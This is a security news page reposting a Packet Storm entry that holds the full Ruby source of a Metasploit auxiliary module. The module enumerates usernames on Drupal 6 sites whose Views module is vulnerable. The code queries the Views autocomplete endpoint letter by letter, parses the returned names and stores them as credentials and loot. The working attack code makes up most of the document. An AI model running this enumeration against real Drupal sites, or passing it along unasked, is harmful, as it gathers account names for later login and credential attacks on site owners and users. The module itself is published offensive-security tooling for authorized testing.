Security
Headlines
HeadlinesLatestCVEs

Headline

Drupal Views Module Users Enumeration

This Metasploit module exploits an information disclosure vulnerability in the Views module of Drupal, brute-forcing the first 10 usernames from a to z. Drupal 6 with Views module less than or equal to 6.x-2.11 are vulnerable. Drupal does not consider disclosure of usernames as a weakness.

Packet Storm
#vulnerability#js#git#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::WmapScanServer  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  def initialize(info = {})    super(update_info(info,      'Name'           => 'Drupal Views Module Users Enumeration',      'Description'    => %q{        This module exploits an information disclosure vulnerability in the 'Views'        module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'.        Drupal 6 with 'Views' module <= 6.x-2.11 are vulnerable.  Drupal does not        consider disclosure of usernames as a weakness.      },      'Author'         =>        [          'Justin Klein Keane', #Original Discovery          'Robin Francois <rof[at]navixia.com>',          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'        ],      'License'        => MSF_LICENSE,      'References'     =>        [          ['URL', 'http://www.madirish.net/node/465'],          ['URL', 'https://www.drupal.org/node/1004778'],        ],      'DisclosureDate' => '2010-07-02'    ))    register_options(      [        OptString.new('TARGETURI', [true, "Drupal Path", "/"])      ])  end  def base_uri    @base_uri ||= normalize_uri("#{target_uri.path}/?q=admin/views/ajax/autocomplete/user/")  end  def check_host(ip)    res = send_request_cgi(      'uri'     => base_uri,      'method'  => 'GET',      'headers' => { 'Connection' => 'Close' }    )    unless res      return Exploit::CheckCode::Unknown    end    if res.body.include?('Access denied')      # This probably means the Views Module actually isn't installed      print_error("Access denied")      return Exploit::CheckCode::Safe    elsif res.message != 'OK' || res.body != '[  ]'      return Exploit::CheckCode::Safe    else      return Exploit::CheckCode::Appears    end  end  def report_cred(opts)    service_data = {      address: opts[:ip],      port: opts[:port],      service_name: (ssl ? 'https' : 'http'),      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: opts[:user]    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED,      proof: opts[:proof]    }.merge(service_data)    create_credential_login(login_data)  end  def run_host(ip)    # Check if remote host is available or appears vulnerable    unless check_host(ip) == Exploit::CheckCode::Appears      print_error("#{ip} does not appear to be vulnerable, will not continue")      return    end    print_status("Begin enumerating users at #{vhost}")    results = []    ('a'..'z').each do |l|      vprint_status("Iterating on letter: #{l}")      res = send_request_cgi(        'uri'     => "#{base_uri}#{l}",        'method'  => 'GET',        'headers' => { 'Connection' => 'Close' }      )      if res && res.message == 'OK'        begin          user_list = JSON.parse(res.body)        rescue JSON::ParserError => e          elog('Exception encountered parsing JSON response', error: e)          return []        end        if user_list.empty?          vprint_error("Not found with: #{l}")        else          vprint_good("Found: #{user_list}")          results << user_list.flatten.uniq        end      else        print_error("Unexpected results from server")        return      end    end    results = results.flatten.uniq    print_status("Done. #{results.length} usernames found...")    results.each do |user|      print_good("Found User: #{user}")      report_cred(        ip: Rex::Socket.getaddress(datastore['RHOST']),        port: datastore['RPORT'],        user: user,        proof: base_uri      )    end    results = results * "\n"    p = store_loot(      'drupal_user',      'text/plain',      Rex::Socket.getaddress(datastore['RHOST']),      results.to_s,      'drupal_user.txt'    )    print_status("Usernames stored in: #{p}")  endend

Packet Storm: Latest News

ABB Cylon Aspect 3.07.02 user.properties Default Credentials